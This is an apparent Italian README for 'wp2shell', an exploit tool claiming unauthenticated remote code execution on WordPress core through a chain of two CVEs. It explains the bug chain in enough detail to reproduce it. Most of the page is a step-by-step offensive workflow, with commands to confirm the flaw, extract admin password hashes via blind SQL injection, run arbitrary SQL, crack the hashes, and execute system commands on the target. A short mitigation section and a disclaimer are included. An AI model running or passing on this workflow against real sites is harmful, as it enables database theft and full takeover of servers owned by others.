wp2shell di : lucifer0xf

Esecuzione remota di codice non autenticata per il POC del core di WordPress (CVE-2026-63030 + CVE-2026-60137)

wp2shell exploit per la catena di vulnerabilità critiche nel core di WordPress. Combina un bug di confusione delle route batch dell'API REST con un'iniezione SQL in WP_Query per ottenere esecuzione remota di codice non autenticata sulle installazioni WordPress vulnerabili.

Come Funziona

L'exploit combina due bug nel core di WordPress:

1. CVE-2026-60137 — SQL Injection – Quando author__not_in viene passato come stringa invece di un array, WordPress salta il controllo di sanificazione is_array() e interpola il valore grezzo in una clausola SQL NOT IN (...).

2. CVE-2026-63030 — Confusione delle Route Batch – L'endpoint /wp-json/batch/v1 costruisce array paralleli $matches e $validation. Una sotto-richiesta malformata viene aggiunta a $validation ma non a $matches, causando uno spostamento dell'indice di +1. La sotto-richiesta i viene inviata con il gestore della sotto-richiesta i+1.

Combinate insieme: Una richiesta POST /wp/v2/posts contenente una richiesta interna GET /wp/v2/users con una stringa author_exclude bypassa sia la allow-list dei metodi che la sanificazione degli input. La stringa arriva a WP_Query come author__not_in e viene interpolata in SQL — fornendo iniezione SQL cieca non autenticata.

Da qui, lo strumento può:

• Estrarre l'hash della password dell'amministratore
• Autenticarsi come admin (una volta craccato l'hash)
• Caricare un plugin dannoso
• Eseguire comandi di sistema arbitrari

Funzionalità

Installazione

git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py

Tutto qui. Nessun pacchetto di terze parti richiesto.

Utilizzo

./wp2shell.py <url> [command] [options]

Modalità Interattiva (Basata su Menu)

./wp2shell.py http://target.com

Avvia un menu interattivo con tutte le funzionalità disponibili tramite opzioni numerate.

Comandi

check — Conferma la Vulnerabilità (Sicuro)

Esegue una sonda a ritardo temporale per confermare la sfruttabilità. Non legge dati e non modifica nulla.

./wp2shell.py http://target.com check

read — Estrai Dati (Iniezione SQL Cieca)

Estrae informazioni dal database utilizzando l'iniezione SQL cieca basata sul tempo.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Esecuzione Remota di Codice

Richiede credenziali di amministratore valide. L'iniezione SQL può recuperare l'hash della password, ma devi fornire la password in chiaro recuperata.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Opzioni

Workflow di Esempio

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Versioni Interessate

Le versioni precedenti alla 6.9.0 non sono interessate dall'intera catena RCE.

Rilevamento e Mitigazione

Per i Difensori:

• Aggiorna subito a 6.9.5, 7.0.2 o versioni successive
• I clienti Cloudflare WAF sono protetti automaticamente
• I clienti Wordfence dispongono di regole firewall
• Monitora le richieste POST /wp-json/batch/v1 con corpi requests annidati
• Un 404 sulla route batch non significa sempre "corretto" — può anche significare che un WAF/CDN sta bloccando l'accesso anonimo alle API REST

Disclaimer Legale

Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.

Crediti

• Scoperta: Adam Kues (Assetnote / Searchlight Cyber)
• CVE-2026-60137 (SQLi): TF1T, dtro, haongo
• CVE-2026-63030 (Confusione route batch): Adam Kues